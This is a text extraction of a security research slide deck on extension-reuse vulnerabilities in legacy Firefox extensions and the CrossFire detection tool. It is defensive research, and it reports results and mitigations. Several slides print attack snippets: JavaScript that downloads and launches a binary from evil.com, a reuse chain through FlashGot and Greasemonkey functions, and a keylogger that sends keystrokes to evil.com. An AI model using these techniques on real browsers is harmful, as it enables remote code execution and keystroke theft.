Automated Detection of Firefox Extension- Reuse Vulnerabilities - - PowerPoint PPT Presentation

automated detection of firefox extension reuse
SMART_READER_LITE
LIVE PREVIEW

Automated Detection of Firefox Extension- Reuse Vulnerabilities - - PowerPoint PPT Presentation

Automated Detection of Firefox Extension- Reuse Vulnerabilities Click to edit Master text styles Second level Third level Fourth level Fifth level Ahmet S BUYUKKAYHAN William ROBERTSON Who are we? Click to edit


slide-1
SLIDE 1
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

Ahmet S BUYUKKAYHAN William ROBERTSON

Automated Detection

  • f Firefox Extension-

Reuse Vulnerabilities

slide-2
SLIDE 2
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

2

Who are we?

  • Assistant professor of computer science at Northeastern

University in Boston, MA

  • Co-directs the NEU Systems Security Lab with Engin Kirda
  • Systems, network, and software security researcher
  • Past winner of DEFCON CTF with Shellphish

– (a long, long time ago…)

slide-3
SLIDE 3
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

3

Who are we?

  • PhD Candidate at Northeastern University

– Authored peer-reviewed conference and journal papers in top-tier security venues

  • Member of the NEU Systems Security Lab
slide-4
SLIDE 4
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

4

Singapore

slide-5
SLIDE 5
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

5

Boston

slide-6
SLIDE 6
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

6

  • Background
  • Extension-Reuse Attacks
  • CrossFire & Demo
  • Evaluation
  • Conclusion

Agenda

slide-7
SLIDE 7
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

Background

slide-8
SLIDE 8
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

8

Browser Extensions

  • Add new capabilities,

customization to browsers

  • ~15K extensions in Mozilla

Add-ons repository

  • Popular ones have millions of

users

  • Mostly written in JavaScript
slide-9
SLIDE 9
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

9

Legacy Firefox Extensions

  • Shared JavaScript namespace

– Extensions can read/write objects or variables of others – Can invoke functionality of others

  • Shared window

– Read/write GUI elements – Listen to all events

  • No privilege separation

– Full access to filesystem, network… XUL XUL XUL JavaScript XPCOM File System Network

slide-10
SLIDE 10
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

10

Threat Model

  • The browser is an attractive target

– Extension authors are untrusted

  • Vulnerable extensions can be exploited

– “Benign-but-buggy” threat model

  • Malicious extensions are a real threat

– Trick users into installing malicious extensions – Powerful (“man-in-the-browser” attacks) – Easy to develop, difficult to detect

161 malicious extensions are blocked by Mozilla+

+ https://addons.mozilla.org/en-US/firefox/blocked/ – Feb 2016

slide-11
SLIDE 11
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

11

Existing Methods for Protection

  • Enforcing browser

marketplaces for extensions

– Automated analysis – Human reviews – Extension signing – “Vetting”

  • Extension isolation

– Least privilege and policy-based enforcement

slide-12
SLIDE 12
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

12

Add-on SDK (a.k.a., Jetpack)

  • Introduced in 2009
  • Isolates extensions from each other
  • Separate content and core scripts
  • Implements principle of least

privilege

  • But, adoption has been slow
  • Superseded by WebExtensions

Release Date of WebExtensions in Q3 2016 October 2014 12.0% of the top 2,000 March 2016 22.9% of the top 2,000

slide-13
SLIDE 13
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

Extension-Reuse Attacks

slide-14
SLIDE 14
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

14

Attack Model

Evil Extension Extension X Sensitive Calls Extension Y Evil Extension (No Sensitive Calls) Victim`s Browser Vetting Sandbox No Suspicious Behavior Sensitive Calls

slide-15
SLIDE 15
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

15

Impact

  • Lack of isolation leaves legacy

extensions defenseless against capability leaks

  • Attackers can stitch together

exploits by abusing capabilities

  • The more power vulnerable

extensions have, the easier it is for an evil extension

slide-16
SLIDE 16
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

16

Download & Execute Evil Binary

const WebBrowserPersist = Components.Constructor( "@mozilla.org/embedding/browser/nsWebBrowserPersist;1", "nsIWebBrowserPersist"); var persist = WebBrowserPersist(); var targetFile = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); targetFile.initWithPath(“evil.bin"); persist.saveURI( “http://evil.com/evil.bin", null, null, null, "", targetFile, null); targetFile.launch();

slide-17
SLIDE 17
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

17

Extension-reuse Attack Example

Extension Extension X File System Internet Extension Y

Download Execute

Exe

var files = [{ href: $url, description: "", fname: $path, noRedir: true }]; gFlashGotService.download(files); var gPrefMan = new GM_PrefManager(); gPrefMan.setValue(“editor”, $path); GM_util.openInEditor();

slide-18
SLIDE 18
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

18

To Reuse or Not To Reuse

var files = [{ href: $url, description: "", fname: $path, noRedir: true }]; gFlashGotService.download(files); var gPrefMan = new GM_PrefManager(); gPrefMan.setValue(“editor”, $path); GM_util.openInEditor();

const WebBrowserPersist = Components.Constructor("@mozilla.org /embedding/browser/nsWebBrowserPersi st;1", "nsIWebBrowserPersist"); var persist = WebBrowserPersist(); var targetFile = Components.classes["@mozilla.org/fil e/local;1"].createInstance(Component s.interfaces.nsILocalFile); targetFile.initWithPath($path); persist.saveURI($url, null, null, null, "", targetFile, null); targetFile.launch();

slide-19
SLIDE 19
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

19

Another Example

  • A key logger, which sends each key press to evil.com

gd12.dicInline.urlWikPrefix = "http://evil.com/GD12_YOUR_LANG/steal.php?key="; gd12.keydownHandler = function(e) { gd12.dicInline.lookupWikt(String.fromCharCode(e.which), false, false); }; gd12.init();

Internet Evil.com

slide-20
SLIDE 20
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

CrossFire

slide-21
SLIDE 21
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

21

CrossFire Overview

slide-22
SLIDE 22
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

22

DEMO

slide-23
SLIDE 23
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

Evaluation

slide-24
SLIDE 24
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

24

Method

  • Top 10 most downloaded extensions

– Manual analysis on all set

  • Top 2000 most downloaded extensions

– Manual analysis on random set of 323

  • Case Study

– Developed an extension with cross- extension function call – Applied to full review

slide-25
SLIDE 25
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

25

Top 10 Firefox Extensions

Extension Name Automated Exploits Manual Exploits False Positives # of Users Adblock Plus 4 22 M Video DownloadHelper 15 6.5 M Firebug 1 3 M NoScript 2 5 2 2.5 M DownThemAll! 5 1.5 M Greasemonkey 1 3 2 1.5 M Web of Trust 1 33 15 1.3 M Flash Video Down. 4 1 1 1.3 M FlashGot Mass Down. 3 5 9 1.3 M

  • Down. YouTube Videos

2 1 1 M

slide-26
SLIDE 26
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

26

Summary of Results

255 73% 96 27% Detected Vulnerabilities – Random Set True Positives False Positives 204 80% 51 20% Positive Vulnerabilities by Attack Type Manual Automated

slide-27
SLIDE 27
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

27

Breakdown of Positive Vulnerabilities

Network Access 66% Code Execution 3% Preference Access 3% Event Listener Registration 12% File I/O 16%

Positive Vulnerabilities By Category

Category Description Code Execution Execute binary or JS File I/O Read from/write to Filesystem Network Access Open a URI or download a file Preference Access Read/write browser settings Event Listener Reg. Key logging events only

slide-28
SLIDE 28
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

28

Performance

  • Fast static analysis

– ~ 1 sec average (per extension)

  • Fast exploit generation

– ~ 380 secs (~ 6 mins) on average (per exploit)

Min Q1 Median Mean Q3 Max 0.05s 0.18s 0.28s 1.06s 0.51s 763.91s Min Q1 Median Mean Q3 Max 30s 192s 270s 378.6s 550.8 2160s

slide-29
SLIDE 29
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

29

Case Study

  • ValidateThisWebSite

– ~50 lines of code – No obfuscation or attempt to hide – Opens unnecessary harmless link

// Attacker chooses $url noscriptBM.placesUtils.__ns.__global__.ns. loadErrorPage(window[1], $url);

slide-30
SLIDE 30
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

30

Limitations

  • CrossFire is not a sound and precise analysis tool
  • CrossFire does not handle

– Inferring dynamic types – Prototype-based inheritance – String evaluation

slide-31
SLIDE 31
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

31

Mitigation & Detection

  • Isolation
  • Least privilege
  • Secure functionality and data sharing
  • Check for extension-reuse vulnerabilities
  • Mozilla security team is informed
slide-32
SLIDE 32
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

32

Key Takeaways

  • Lack of isolation allows stealthy attacks
  • Attackers can easily automate
  • More robust isolation, vetting, and analysis required
slide-33
SLIDE 33
  • Click to edit Master text styles

— Second level

  • Third level

— Fourth level » Fifth level

33

Thank You